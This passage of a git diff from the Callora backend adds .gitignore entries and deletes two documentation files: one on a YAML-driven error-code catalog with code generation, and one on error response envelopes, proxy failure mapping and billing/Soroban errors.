diff --git a/.gitignore b/.gitignore index 8f6520b4..a177a22b 100644 --- a/.gitignore +++ b/.gitignore @@ -18,3 +18,6 @@ coverage/ !.env.example .aider* +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat diff --git a/docs/error-code-catalog.md b/docs/error-code-catalog.md deleted file mode 100644 index f04f1315..00000000 --- a/docs/error-code-catalog.md +++ /dev/null @@ -1,405 +0,0 @@ -# Error Code Catalog System - -This document describes the canonical error code catalog system used in the Callora Backend. - -## Overview - -The error code catalog provides a single source of truth for all machine-readable error codes emitted by the backend. The system uses a YAML catalog as the authoritative source, with automatic code generation for TypeScript enums, documentation, and OpenAPI schemas. - -## Architecture - -### Components - -1. **YAML Catalog** (`docs/error-codes.yaml`) - - Human-readable source of truth - - Contains code, section, and description for each error - - Edited manually by developers - -2. **TypeScript Enum** (`src/errors/codes.ts`) - - Auto-generated from YAML - - Provides type-safe error code constants - - Includes JSDoc comments with descriptions - -3. **Generation Script** (`scripts/generate-error-codes.mjs`) - - Parses YAML catalog - - Generates TypeScript enum - - Updates markdown documentation - - Updates OpenAPI schema - -4. **CI Gate** - - Validates catalog consistency - - Ensures generated files are up-to-date - - Runs in CI/CD pipeline - -## YAML Catalog Format - -The catalog is structured as a list of error code entries: - -```yaml -error_codes: - - code: ERROR_CODE_NAME - section: Category Name - description: Human-readable explanation - - - code: ANOTHER_ERROR - section: Category Name - description: When this error occurs -``` - -### Field Definitions - -- **`code`** (required): Error code identifier in SCREAMING_SNAKE_CASE -- **`section`** (required): Category for documentation grouping -- **`description`** (required): Human-readable explanation of when this error occurs - -### Validation Rules - -1. **Code Format**: Must be SCREAMING_SNAKE_CASE (uppercase letters, numbers, underscores) -2. **Uniqueness**: No duplicate codes allowed -3. **Completeness**: All three fields (code, section, description) required -4. **Consistency**: Code value must match the enum key - -## Generated Outputs - -### 1. TypeScript Enum (`src/errors/codes.ts`) - -```typescript -export const ErrorCode = { - /** Human-readable description from YAML */ - ERROR_CODE_NAME: "ERROR_CODE_NAME", - - /** Another description */ - ANOTHER_ERROR: "ANOTHER_ERROR", -} as const; - -export type ErrorCode = (typeof ErrorCode)[keyof typeof ErrorCode]; - -export function isErrorCode(value: unknown): value is ErrorCode { - // Type guard implementation -} -``` - -Features: -- Const assertion for strict typing -- JSDoc comments with descriptions -- Type guard function -- Warning header about auto-generation - -### 2. Markdown Documentation (`docs/error-codes.md`) - -The script injects a generated table between markers: - -```markdown - -## Canonical error code catalog - -| Code | Catalog section | -|---|---| -| `ERROR_CODE_NAME` | Category Name | -| `ANOTHER_ERROR` | Category Name | - -``` - -### 3. OpenAPI Schema (`docs/openapi.json`) - -Adds ErrorCode enum to OpenAPI components: - -```json -{ - "components": { - "schemas": { - "ErrorCode": { - "type": "string", - "enum": ["ERROR_CODE_NAME", "ANOTHER_ERROR"], - "description": "Canonical Callora backend error code." - }, - "ErrorResponse": { - "properties": { - "code": { - "$ref": "#/components/schemas/ErrorCode" - } - } - } - } - } -} -``` - -## Workflows - -### Adding a New Error Code - -1. **Edit YAML catalog**: - ```bash - vim docs/error-codes.yaml - ``` - -2. **Add entry**: - ```yaml - - code: MY_NEW_ERROR - section: My Feature - description: Occurs when my feature fails validation - ``` - -3. **Generate code**: - ```bash - npm run error-codes:generate - ``` - -4. **Verify changes**: - ```bash - git diff src/errors/codes.ts docs/error-codes.md docs/openapi.json - ``` - -5. **Commit all files**: - ```bash - git add docs/error-codes.yaml src/errors/codes.ts docs/error-codes.md docs/openapi.json - git commit -m "feat: add MY_NEW_ERROR code" - ``` - -### Modifying an Existing Code - -1. **Edit the YAML entry** (description or section only - never change the code value) -2. **Regenerate**: `npm run error-codes:generate` -3. **Commit**: Include all updated files - -**WARNING**: Changing a code value is a breaking change for API clients. Deprecate the old code and add a new one instead. - -### Removing a Code - -1. **Deprecation first**: Mark as deprecated in description -2. **Wait for migration**: Allow time for clients to update -3. **Remove from YAML**: After deprecation period -4. **Regenerate**: `npm run error-codes:generate` - -## Using Error Codes in Code - -### Importing - -```typescript -import { ErrorCode } from './errors/codes.js'; -``` - -### In Error Classes - -```typescript -throw new BadRequestError('Invalid input', ErrorCode.VALIDATION_ERROR); -``` - -### Type-Safe Checks - -```typescript -if (error.code === ErrorCode.INSUFFICIENT_BALANCE) { - // Handle insufficient balance -} -``` - -### Runtime Validation - -```typescript -import { isErrorCode } from './errors/codes.js'; - -if (isErrorCode(unknownValue)) { - // unknownValue is now typed as ErrorCode -} -``` - -## CI/CD Integration - -### Pre-commit Hook - -Add to `.git/hooks/pre-commit`: - -```bash -#!/bin/bash -npm run error-codes:check || { - echo "Error codes are out of sync. Run: npm run error-codes:generate" - exit 1 -} -``` - -### GitHub Actions - -Add to `.github/workflows/ci.yml`: - -```yaml -- name: Check error code generation - run: npm run error-codes:check -``` - -### package.json Scripts - -```json -{ - "scripts": { - "error-codes:generate": "node scripts/generate-error-codes.mjs", - "error-codes:check": "node scripts/generate-error-codes.mjs --check", - "prebuild": "npm run error-codes:check" - } -} -``` - -## Testing - -### Unit Tests - -Run script tests: - -```bash -node scripts/generate-error-codes.test.mjs -``` - -### Coverage - -Test scenarios: -- ✅ Valid YAML parsing -- ✅ Duplicate detection -- ✅ Format validation -- ✅ TypeScript generation -- ✅ Markdown update -- ✅ OpenAPI schema update -- ✅ Check mode validation -- ✅ Missing catalog handling -- ✅ Idempotency - -### Integration Tests - -```bash -# Generate and verify -npm run error-codes:generate -npm run error-codes:check # Should pass - -# Modify generated file -echo "// test" >> src/errors/codes.ts -npm run error-codes:check # Should fail -``` - -## Migration from Legacy System - -### Before (Manual TypeScript) - -```typescript -// src/errors/errorCatalog.ts -export const ErrorCode = { - // HTTP status derived - BAD_REQUEST: "BAD_REQUEST", - UNAUTHORIZED: "UNAUTHORIZED", - // ... manually maintained -} as const; -``` - -### After (YAML + Codegen) - -```yaml -# docs/error-codes.yaml -error_codes: - - code: BAD_REQUEST - section: HTTP status derived - description: The request is invalid -``` - -Generated TypeScript is identical, but source of truth is YAML. - -## Benefits - -1. **Single Source of Truth**: YAML catalog is the definitive reference -2. **Type Safety**: Generated TypeScript enum provides compile-time checks -3. **Documentation**: Automatically updates docs and OpenAPI -4. **Consistency**: CI gate prevents drift between catalog and code -5. **Review**: YAML diffs are easier to review than TypeScript -6. **Validation**: Format and uniqueness checks prevent errors -7. **Maintainability**: Clear separation of data and code - -## Troubleshooting - -### "Duplicate error codes" Error - -**Cause**: Same code appears multiple times in YAML - -**Solution**: Search for duplicates and remove/rename - -```bash -grep -n "code: YOUR_CODE" docs/error-codes.yaml -``` - -### "Invalid error code format" Error - -**Cause**: Code doesn't match SCREAMING_SNAKE_CASE - -**Solution**: Use only uppercase letters, numbers, and underscores - -```yaml -# Bad -- code: myError -- code: My-Error -- code: my_error - -# Good -- code: MY_ERROR -``` - -### "No error codes found" Error - -**Cause**: YAML syntax error or empty catalog - -**Solution**: Validate YAML syntax - -```bash -# Install yamllint -pip install yamllint - -# Validate -yamllint docs/error-codes.yaml -``` - -### Generated Files Out of Sync - -**Cause**: Manual edits to generated files - -**Solution**: Regenerate from YAML - -```bash -npm run error-codes:generate -``` - -### CI Check Fails - -**Cause**: Generated files not committed - -**Solution**: Run generation and commit all changes - -```bash -npm run error-codes:generate -git add src/errors/codes.ts docs/error-codes.md docs/openapi.json -git commit --amend --no-edit -``` - -## Security Considerations - -1. **No Secrets in Errors**: Never include sensitive data in error descriptions -2. **Client-Safe Messages**: Descriptions may appear in client-facing documentation -3. **Stable Codes**: Error codes are part of the public API contract -4. **Audit Trail**: All changes tracked in git history - -## Performance - -- **Build Time**: ~50ms to parse YAML and generate files -- **Runtime**: Zero overhead - generated code is identical to hand-written -- **CI Time**: Check mode adds ~30ms to builds - -## Future Enhancements - -Potential improvements: -- [ ] Add i18n support for error messages -- [ ] Generate error code documentation site -- [ ] Add severity levels to catalog -- [ ] Generate Prometheus metrics labels -- [ ] Add suggested HTTP status codes to catalog -- [ ] Validate error usage in codebase - -## References - -- [Error Response Format](./error-codes.md) - Full error documentation -- [YAML Specification](https://yaml.org/spec/1.2.2/) -- [TypeScript Enums](https://www.typescriptlang.org/docs/handbook/enums.html) -- [OpenAPI Schema Objects](https://swagger.io/specification/#schema-object) diff --git a/docs/error-codes.md b/docs/error-codes.md deleted file mode 100644 index 0f27a942..00000000 --- a/docs/error-codes.md +++ /dev/null @@ -1,550 +0,0 @@ -# Error response envelope and error codes - -This page is the source-aligned reference for Callora backend error responses. -It documents the shared `errorHandler` response envelope, every error class in -`src/errors/index.ts`, the `/v1/call` gateway/proxy failure mapping, and the -billing/Soroban error mapping. It is documentation-only and does not describe -any runtime behavior that is not present in the current source. - - -## Canonical error code catalog - -This section is generated from `docs/error-codes.yaml`. Run `npm run error-codes:generate` after changing the catalog. - -| Code | Catalog section | -|---|---| -| `BAD_REQUEST` | HTTP status derived / base app codes | -| `UNAUTHORIZED` | HTTP status derived / base app codes | -| `FORBIDDEN` | HTTP status derived / base app codes | -| `NOT_FOUND` | HTTP status derived / base app codes | -| `PAYMENT_REQUIRED` | HTTP status derived / base app codes | -| `TOO_MANY_REQUESTS` | HTTP status derived / base app codes | -| `CONFLICT` | HTTP status derived / base app codes | -| `INTERNAL_SERVER_ERROR` | HTTP status derived / base app codes | -| `BAD_GATEWAY` | HTTP status derived / base app codes | -| `SERVICE_UNAVAILABLE` | HTTP status derived / base app codes | -| `GATEWAY_TIMEOUT` | HTTP status derived / base app codes | -| `VALIDATION_ERROR` | Validation | -| `INVALID_BODY` | Validation | -| `INVALID_QUERY` | Validation | -| `INVALID_PARAMS` | Validation | -| `INVALID_VALUE` | Validation | -| `GATEWAY_AUTH_CONTEXT_MISSING` | Gateway / proxy | -| `UPSTREAM_TARGET_BLOCKED` | Gateway / proxy | -| `INSUFFICIENT_BALANCE` | Billing / Soroban | -| `SOROBAN_RPC_TIMEOUT` | Billing / Soroban | -| `SOROBAN_RPC_ERROR` | Billing / Soroban | -| `BILLING_DEDUCTION_FAILED` | Billing / Soroban | -| `BILLING_REQUEST_NOT_FOUND` | Billing request | -| `DEVELOPER_NOT_FOUND` | Developer / API keys | -| `API_ACCESS_FORBIDDEN` | Developer / API keys | -| `API_KEY_NOT_FOUND` | Developer / API keys | -| `API_KEY_FORBIDDEN` | Developer / API keys | -| `MISSING_REFRESH_TOKEN` | Refresh-token auth | -| `INVALID_REFRESH_TOKEN` | Refresh-token auth | -| `REVOKED_TOKEN` | Refresh-token auth | -| `EXPIRED_TOKEN` | Refresh-token auth | -| `REFRESH_FAILED` | Refresh-token auth | -| `REVOKE_FAILED` | Refresh-token auth | -| `NOT_AUTHENTICATED` | Refresh-token auth | -| `TOKEN_INFO_FAILED` | Refresh-token auth | -| `VAULT_NOT_FOUND` | Vault / deposit | -| `VAULT_BALANCE_RETRIEVAL_FAILED` | Vault / deposit | -| `MISSING_AMOUNT` | Vault / deposit | -| `INVALID_AMOUNT_TYPE` | Vault / deposit | -| `INVALID_AMOUNT_FORMAT` | Vault / deposit | -| `INVALID_NETWORK` | Vault / deposit | -| `NETWORK_MISMATCH` | Vault / deposit | -| `INVALID_SOURCE_ACCOUNT` | Vault / deposit | -| `INVALID_TRANSACTION_INPUT` | Vault / deposit | -| `SOURCE_ACCOUNT_NOT_FOUND` | Vault / deposit | -| `INVALID_CONTRACT_ID` | Vault / deposit | -| `NETWORK_UNAVAILABLE` | Vault / deposit | -| `TRANSACTION_BUILD_FAILED` | Vault / deposit | -| `INTERNAL_ERROR` | Vault / deposit | -| `INVALID_WEBHOOK_REGISTRATION` | Webhooks | -| `INVALID_WEBHOOK_EVENT_TYPES` | Webhooks | -| `WEBHOOK_NOT_FOUND` | Webhooks | -| `INVALID_WEBHOOK_URL` | Webhooks | -| `WEBHOOK_URL_VALIDATION_FAILED` | Webhooks | -| `MISSING_WEBHOOK_SIGNATURE_HEADERS` | Webhooks | -| `INVALID_WEBHOOK_TIMESTAMP` | Webhooks | -| `WEBHOOK_TIMESTAMP_OUT_OF_WINDOW` | Webhooks | -| `MALFORMED_WEBHOOK_SIGNATURE` | Webhooks | -| `INVALID_WEBHOOK_SIGNATURE` | Webhooks | -| `MALFORMED_WEBHOOK_NONCE` | Webhooks | -| `WEBHOOK_NONCE_REPLAYED` | Webhooks | -| `INVALID_DELIVERY_ID` | Webhooks | -| `INVALID_RETRY_POLICY` | Webhooks | -| `DLQ_ENTRY_NOT_FOUND` | Webhooks | -| `INVALID_IP_FORMAT` | IP allowlist | -| `IP_NOT_ALLOWED` | IP allowlist | -| `DATABASE_NOT_AVAILABLE` | DB / infrastructure | -| `IDEMPOTENCY_CONFLICT` | Idempotency | -| `IDEMPOTENCY_IN_PROGRESS` | Idempotency | -| `SIMULATION_FAILED` | Misc / direct middleware responses | -| `INVALID_AUTH_HEADER` | Route-specific / auth overrides (documented in docs/error-codes.md) | -| `MISSING_TOKEN` | Route-specific / auth overrides (documented in docs/error-codes.md) | -| `INVALID_TOKEN` | Route-specific / auth overrides (documented in docs/error-codes.md) | -| `MISSING_CLAIMS` | Route-specific / auth overrides (documented in docs/error-codes.md) | -| `TOKEN_EXPIRED` | Route-specific / auth overrides (documented in docs/error-codes.md) | -| `TOKEN_NOT_ACTIVE` | Route-specific / auth overrides (documented in docs/error-codes.md) | -| `QUOTA_REQUEST_NOT_FOUND` | Quota self-service | -| `QUOTA_REQUEST_ALREADY_RESOLVED` | Quota self-service | -| `INVALID_QUOTA_REQUEST` | Quota self-service | -| `REQUEST_TIMEOUT` | HTTP fallback derived codes referenced by documentation | -| `REQUEST_BODY_TOO_LARGE` | HTTP fallback derived codes referenced by documentation | -| `UNSUPPORTED_MEDIA_TYPE` | HTTP fallback derived codes referenced by documentation | -| `UNPROCESSABLE_ENTITY` | HTTP fallback derived codes referenced by documentation | -| `USAGE_AGGREGATE_NOT_FOUND` | Admin usage management | -| `INVALID_EXPORT_SCHEDULE` | Export schedules | -| `EXPORT_SCHEDULE_NOT_FOUND` | Export schedules | -| `MISSING_AUTH_FIELDS` | Auth | -| `AUTH_NOT_IMPLEMENTED` | Auth | -| `COMPONENT_NOT_CONFIGURED` | Health / dependency probes | - - -## Scope and important caveats - -The standard envelope applies to errors that reach the shared Express `errorHandler`. It does not wrap every response served by the backend. - -For `/v1/call` proxy requests, an upstream HTTP response is streamed back to the -caller with the upstream status, upstream body, and safe upstream headers after -hop-by-hop headers are stripped. Those proxied upstream responses are not -converted into Callora's standard error envelope, even if the upstream status is -`4xx` or `5xx`. - -For generated Callora errors, the `requestId` field is read from `req.id`. If no -middleware or route has attached `req.id`, the error handler serializes -`"unknown"`. The route-local proxy UUID used for upstream `x-request-id` -forwarding is separate from `req.id` unless application code explicitly wires -them together. - -Some middleware can write responses directly instead of passing an `AppError` to -the shared handler. This page calls those cases out when they are adjacent to -the gateway or billing flows; direct middleware responses may not include `requestId` -or the exact standard envelope shape. - -## Standard envelope - -Errors handled by `src/middleware/errorHandler.ts` are returned as JSON: - -```json -{ - "code": "BAD_GATEWAY", - "message": "Bad Gateway: upstream unreachable", - "requestId": "req_123" -} -``` - -The HTTP status is carried by the HTTP response status line, not by a `status` -field in the JSON body. For `AppError` instances, the handler uses the error's -`statusCode` and explicit `code`; if an `AppError` has no `code`, the handler -derives one from the status. For non-`AppError` errors, it uses a numeric -`err.status` when present, otherwise `500`, and derives the response `code` from -that status. - -In production, unexpected non-`AppError` messages are masked to `"Internal server error"`. `AppError` messages are not masked by the error handler. - -`details` is optional. It is currently included for validation errors and any error-like object with an array `details` property: - -```json -{ - "code": "VALIDATION_ERROR", - "message": "Request validation failed", - "requestId": "req_123", - "details": [ - { - "field": "body.endpoints[0].path", - "message": "Required", - "code": "INVALID_TYPE" - } - ] -} -``` - -Pagination query validation uses this same envelope. Invalid integer fields such -as `limit=10.0`, `limit=1e2`, or `limit=0x10` return HTTP 400 with -`code: "VALIDATION_ERROR"` and a `details` entry for `query.limit`. - -## Error classes from `src/errors/index.ts` - -Every subclass accepts an optional custom `code` argument. The table lists the -default response behavior when the class is constructed without a code override. -`AppError` is the base class: it has a default status of `500`, but it does not -set a default instance code; the shared handler derives the body code from the -status when `code` is omitted. - -| Class | HTTP status | Default body code | Default message | Meaning | -|---|---:|---|---|---| -| `AppError` | `500` by constructor default | `INTERNAL_SERVER_ERROR` when `code` is omitted and status is `500` | caller-supplied | Base application error type. Prefer a specific subclass for public route errors. | -| `BadRequestError` | `400` | `BAD_REQUEST` | `Bad request` | The request is malformed, missing required input, or otherwise invalid. | -| `UnauthorizedError` | `401` | `UNAUTHORIZED` | `Unauthorized` | Authentication is missing, malformed, or invalid. | -| `ForbiddenError` | `403` | `FORBIDDEN` | `Forbidden` | The caller is authenticated but not allowed to perform the action. | -| `NotFoundError` | `404` | `NOT_FOUND` | `Not found` | The requested resource does not exist. | -| `PaymentRequiredError` | `402` | `PAYMENT_REQUIRED` | `Payment Required` | The caller has insufficient balance or payment is otherwise required. | -| `TooManyRequestsError` | `429` | `TOO_MANY_REQUESTS` | `Too Many Requests` | The caller exceeded a rate limit. | -| `ConflictError` | `409` | `CONFLICT` | `Conflict` | The request conflicts with existing state. | -| `InternalServerError` | `500` | `INTERNAL_SERVER_ERROR` | `Internal server error` | An internal service or invariant failed. | -| `BadGatewayError` | `502` | `BAD_GATEWAY` | `Bad Gateway` | The gateway could not obtain a valid upstream or dependency response. | -| `ServiceUnavailableError` | `503` | `SERVICE_UNAVAILABLE` | `Service unavailable` | A dependency or service is temporarily unavailable. | -| `GatewayTimeoutError` | `504` | `GATEWAY_TIMEOUT` | `Gateway Timeout` | A dependency or upstream service did not respond before its timeout. | - -The examples below assume `req.id === "req_123"` when the error reaches the handler. - -```json -[ - { - "class": "AppError", - "status": 500, - "body": { - "code": "INTERNAL_SERVER_ERROR", - "message": "Base application error", - "requestId": "req_123" - } - }, - { - "class": "BadRequestError", - "status": 400, - "body": { - "code": "BAD_REQUEST", - "message": "Bad request", - "requestId": "req_123" - } - }, - { - "class": "UnauthorizedError", - "status": 401, - "body": { - "code": "UNAUTHORIZED", - "message": "Unauthorized", - "requestId": "req_123" - } - }, - { - "class": "ForbiddenError", - "status": 403, - "body": { - "code": "FORBIDDEN", - "message": "Forbidden", - "requestId": "req_123" - } - }, - { - "class": "NotFoundError", - "status": 404, - "body": { - "code": "NOT_FOUND", - "message": "Not found", - "requestId": "req_123" - } - }, - { - "class": "PaymentRequiredError", - "status": 402, - "body": { - "code": "PAYMENT_REQUIRED", - "message": "Payment Required", - "requestId": "req_123" - } - }, - { - "class": "TooManyRequestsError", - "status": 429, - "body": { - "code": "TOO_MANY_REQUESTS", - "message": "Too Many Requests", - "requestId": "req_123" - } - }, - { - "class": "ConflictError", - "status": 409, - "body": { - "code": "CONFLICT", - "message": "Conflict", - "requestId": "req_123" - } - }, - { - "class": "InternalServerError", - "status": 500, - "body": { - "code": "INTERNAL_SERVER_ERROR", - "message": "Internal server error", - "requestId": "req_123" - } - }, - { - "class": "BadGatewayError", - "status": 502, - "body": { - "code": "BAD_GATEWAY", - "message": "Bad Gateway", - "requestId": "req_123" - } - }, - { - "class": "ServiceUnavailableError", - "status": 503, - "body": { - "code": "SERVICE_UNAVAILABLE", - "message": "Service unavailable", - "requestId": "req_123" - } - }, - { - "class": "GatewayTimeoutError", - "status": 504, - "body": { - "code": "GATEWAY_TIMEOUT", - "message": "Gateway Timeout", - "requestId": "req_123" - } - } -] -``` - -## Handler-derived fallback codes - -When a non-`AppError` error reaches the handler with a numeric `status`, or when an `AppError` reaches the handler with no explicit `code`, the handler derives the code from the status. - -| Status | Derived code | -|---:|---| -| `400` | `BAD_REQUEST` | -| `401` | `UNAUTHORIZED` | -| `402` | `PAYMENT_REQUIRED` | -| `403` | `FORBIDDEN` | -| `404` | `NOT_FOUND` | -| `408` | `REQUEST_TIMEOUT` | -| `409` | `CONFLICT` | -| `413` | `REQUEST_BODY_TOO_LARGE` | -| `415` | `UNSUPPORTED_MEDIA_TYPE` | -| `422` | `UNPROCESSABLE_ENTITY` | -| `429` | `TOO_MANY_REQUESTS` | -| `500` | `INTERNAL_SERVER_ERROR` | -| `502` | `BAD_GATEWAY` | -| `503` | `SERVICE_UNAVAILABLE` | -| `504` | `GATEWAY_TIMEOUT` | - -For statuses not listed above, the fallback is `INTERNAL_SERVER_ERROR` for `5xx` statuses and `BAD_REQUEST` otherwise. Body-parser `413` errors receive the message `"Request body too large"`. - -## Validation errors - -`src/middleware/validate.ts` defines `ValidationError`, which extends `BadRequestError`, sets the status to `400`, overrides the code to `VALIDATION_ERROR`, and adds field-level `details`. - -```json -{ - "code": "VALIDATION_ERROR", - "message": "Request validation failed", - "requestId": "req_123", - "details": [ - { - "field": "query.network", - "message": "Invalid option: expected one of \"testnet\"|\"mainnet\"", - "code": "INVALID_VALUE" - } - ] -} -``` - -## Gateway/proxy errors - -The modern upstream proxy is implemented by `createProxyRouter()` in `src/routes/proxyRoutes.ts`. It registers `ALL /v1/call/:apiSlugOrId/*` and `ALL /v1/call/:apiSlugOrId`. - -### Authentication before the proxy handler - -Gateway API-key authentication runs before the proxy handler. It can reject a -request before `handleProxy()` starts. The middleware reads `X-Api-Key` first; -if that header is absent, it parses `Authorization: Bearer `. A -malformed `Authorization` header therefore causes `401` only when `X-Api-Key` is -not present. - -| Condition | HTTP status | Code | Error class | Notes | -|---|---:|---|---|---| -| Missing API key, or malformed `Authorization` header when `X-Api-Key` is absent | `401` | `UNAUTHORIZED` | `UnauthorizedError` | The exact message is `Unauthorized: missing API key` or `Unauthorized: malformed Authorization header`. | -| Unknown API slug or ID | `404` | `NOT_FOUND` | `NotFoundError` | Message is `Not Found: unknown API`. | -| API key not found, invalid, incomplete, or not authorized for the resolved API | `401` | `UNAUTHORIZED` | `UnauthorizedError` | The exact message describes the failed check. | -| Revoked API key | `403` | `FORBIDDEN` | `ForbiddenError` | The current message text is `Unauthorized: API key has been revoked`, but the status and code are forbidden. | - -### Proxy pre-flight errors inside `handleProxy()` - -| Condition | HTTP status | Code | Error class | Notes | -|---|---:|---|---|---| -| Gateway authentication context is unexpectedly missing after auth middleware | `500` | `GATEWAY_AUTH_CONTEXT_MISSING` | `InternalServerError` | Internal invariant failure before proxying. | -| Rate limiter rejects the API key | `429` | `TOO_MANY_REQUESTS` | `TooManyRequestsError` | The route sets `Retry-After` to the retry delay rounded up to whole seconds. | -| Pre-proxy balance check returns `<= 0` | `402` | `PAYMENT_REQUIRED` | `PaymentRequiredError` | Message is `Payment Required: insufficient balance`. | -| Resolved upstream target fails validation or allowlist checks | `502` | `UPSTREAM_TARGET_BLOCKED` | `BadGatewayError` | The message is the validation error message when available, otherwise `Configured upstream target is not allowed.` | - -### Upstream response and failure mapping - -The proxy maintains an internal `upstreamStatus` value for metrics and usage recording: - -1. Initialize `upstreamStatus` to `502` before calling `fetch()`. -2. If `fetch()` resolves with an HTTP response, set `upstreamStatus = upstreamRes.status`, - stop the upstream timer with outcome `success`, forward safe response - headers, set the HTTP response status to the upstream status, and stream the - upstream body. -3. If `fetch()` throws `DOMException` with `name === "TimeoutError"`, set `upstreamStatus = 504`, stop the timer with outcome `timeout`, and throw `GatewayTimeoutError('Upstream service timed out')`. -4. If `fetch()` throws `TypeError` with Undici code `UND_ERR_CONNECT_TIMEOUT`, handle it the same way as a timeout: `504` and `GATEWAY_TIMEOUT`. -5. For any other fetch, DNS, connection, or transport failure, set `upstreamStatus = 502`, stop the timer with outcome `error`, and throw `BadGatewayError('Bad Gateway: upstream unreachable')`. - -| Event | HTTP status returned by Callora | Code | Error class | Body behavior | -|---|---:|---|---|---| -| Upstream returns an HTTP response, including `4xx` or `5xx` | upstream status | not generated by Callora | none | The proxy streams the upstream body and safe headers. | -| `fetch()` throws `DOMException` with `name === "TimeoutError"` | `504` | `GATEWAY_TIMEOUT` | `GatewayTimeoutError` | Standard error envelope. | -| `fetch()` throws `TypeError` with code `UND_ERR_CONNECT_TIMEOUT` | `504` | `GATEWAY_TIMEOUT` | `GatewayTimeoutError` | Standard error envelope. | -| Any other fetch/connect failure | `502` | `BAD_GATEWAY` | `BadGatewayError` | Standard error envelope. | - -For generated `502` and `504` proxy errors, the JSON body does not include `upstreamStatus`, -the raw upstream response body, raw upstream error payload, or a Soroban revert reason. -If the upstream actually returns an HTTP response, the proxy forwards that -response instead of generating the standard envelope. - -Example proxy request: - -```bash -curl -i \ - -H 'X-Api-Key: ' \ - 'http://localhost:3000/v1/call/weather-api/forecast' -``` - -Example generated timeout response when no request id middleware populated `req.id`: - -```http -HTTP/1.1 504 Gateway Timeout -Content-Type: application/json; charset=utf-8 -``` - -```json -{ - "code": "GATEWAY_TIMEOUT", - "message": "Upstream service timed out", - "requestId": "unknown" -} -``` - -Example generated unreachable-upstream response when no request id middleware populated `req.id`: - -```http -HTTP/1.1 502 Bad Gateway -Content-Type: application/json; charset=utf-8 -``` - -```json -{ - "code": "BAD_GATEWAY", - "message": "Bad Gateway: upstream unreachable", - "requestId": "unknown" -} -``` - -The legacy `ALL /api/gateway/:apiId` route also maps generated upstream timeouts -to `504` and other generated upstream failures to `502`, but it performs API-key -lookup, credit deduction, and usage recording in the legacy route flow. The -`/v1/call` mapping above is the primary gateway/proxy reference. - -## Billing and Soroban errors - -Billing routes are implemented in `src/routes/billing.ts`. Soroban RPC failures -are represented by `SorobanRpcError` categories in -`src/services/sorobanBilling.ts` and then converted to `AppError` subclasses by -the billing route. - -| Soroban category | HTTP status | Response code | Error class | Meaning | -|---|---:|---|---|---| -| `INSUFFICIENT_BALANCE` | `402` | `INSUFFICIENT_BALANCE` | `PaymentRequiredError` | On-chain or pre-flight balance is too low. | -| `TIMEOUT` | `504` | `SOROBAN_RPC_TIMEOUT` | `GatewayTimeoutError` | The Soroban RPC request timed out, was aborted, or otherwise matched the timeout category. | -| `CONTRACT_ERROR` | `502` | `SOROBAN_RPC_ERROR` | `BadGatewayError` | The contract rejected the call, simulation failed, or the failure matched contract/wasm classification. | -| `NETWORK_ERROR` | `502` | `SOROBAN_RPC_ERROR` | `BadGatewayError` | Soroban transport, HTTP, or missing-result failures. | - -`POST /api/billing/deduct` uses `requireAuth` before the route handler. -Authentication failures are passed through the shared handler as `401` -responses. Depending on the auth failure, the response code can be the default -`UNAUTHORIZED` or one of the route-auth overrides: `INVALID_AUTH_HEADER`, -`MISSING_TOKEN`, `INVALID_TOKEN`, `MISSING_CLAIMS`, `TOKEN_EXPIRED`, or -`TOKEN_NOT_ACTIVE`. - -The same route also uses `idempotencyMiddleware`. Two idempotency conflicts are -written directly by that middleware instead of being passed to `errorHandler`, -so their JSON body is `{ "error", "message", "code" }` and does not include -`requestId`: - -| Idempotency condition | HTTP status | Response code | Body shape | -|---|---:|---|---| -| Existing idempotency key with different request hash | `409` | `IDEMPOTENCY_CONFLICT` | Direct middleware JSON response. | -| Existing idempotency key is still marked `started` | `409` | `IDEMPOTENCY_IN_PROGRESS` | Direct middleware JSON response. | - -`POST /api/billing/deduct` maps unsuccessful `BillingService.deduct()` result messages before falling back to a generic billing failure: - -| Route condition | HTTP status | Response code | Error class | Notes | -|---|---:|---|---|---| -| Missing authenticated user | `401` | `UNAUTHORIZED` | `UnauthorizedError` | Auth middleware should normally prevent this. | -| Invalid `requestId`, `apiId`, `endpointId`, `apiKeyId`, `amountUsdc`, or `idempotencyKey` | `400` | `BAD_REQUEST` | `BadRequestError` | Each validation failure has a field-specific message. | -| Database pool is unavailable | `500` | `DATABASE_NOT_AVAILABLE` | `InternalServerError` | Route-specific code override. | -| Failure message contains `insufficient balance` or `insufficient funds` | `402` | `INSUFFICIENT_BALANCE` | `PaymentRequiredError` | Message is preserved from the billing result. | -| Failure message contains `timeout` or `timed out` | `504` | `SOROBAN_RPC_TIMEOUT` | `GatewayTimeoutError` | Message is preserved from the billing result. | -| Failure message contains `balance check failed`, `contract`, or `network` | `502` | `SOROBAN_RPC_ERROR` | `BadGatewayError` | Message is preserved from the billing result. | -| Any other unsuccessful deduction result | `500` | `BILLING_DEDUCTION_FAILED` | `InternalServerError` | Response message is `Billing deduction failed`. | - -`GET /api/billing/request/:requestId` uses these route-specific errors: - -| Route condition | HTTP status | Response code | Error class | -|---|---:|---|---| -| Missing authenticated user | `401` | `UNAUTHORIZED` | `UnauthorizedError` | -| Missing or empty `requestId` param | `400` | `BAD_REQUEST` | `BadRequestError` | -| Database pool is unavailable | `500` | `DATABASE_NOT_AVAILABLE` | `InternalServerError` | -| Billing request is not found | `404` | `BILLING_REQUEST_NOT_FOUND` | `NotFoundError` | - -The billing error envelope does not add a structured raw Soroban category, raw -RPC payload, revert-reason field, or `details` array. It exposes the mapped HTTP -status, stable `code`, `message`, and `requestId` supplied by the shared error -handler. The `message` can contain the normalized Soroban or billing error -message, but consumers should branch on `code` and HTTP status rather than -parsing the message. - -Example insufficient-balance request: - -```bash -curl -i -X POST 'http://localhost:3000/api/billing/deduct' \ - -H 'Authorization: Bearer ' \ - -H 'Content-Type: application/json' \ - -H 'Idempotency-Key: bill_req_123' \ - -d '{ - "requestId": "bill_req_123", - "apiId": "api_001", - "endpointId": "forecast", - "apiKeyId": "key_001", - "amountUsdc": "0.10" - }' -``` - -Example insufficient-balance response: - -```http -HTTP/1.1 402 Payment Required -Content-Type: application/json; charset=utf-8 -``` - -```json -{ - "code": "INSUFFICIENT_BALANCE", - "message": "Insufficient balance: required 1000000 units, available 0", - "requestId": "req_123" -} -``` - -Example Soroban timeout response: - -```http -HTTP/1.1 504 Gateway Timeout -Content-Type: application/json; charset=utf-8 -``` - -```json -{ - "code": "SOROBAN_RPC_TIMEOUT", - "message": "Soroban RPC request timed out", - "requestId": "req_123" -} -``` diff --git a/docs/error-codes.yaml b/docs/error-codes.yaml index 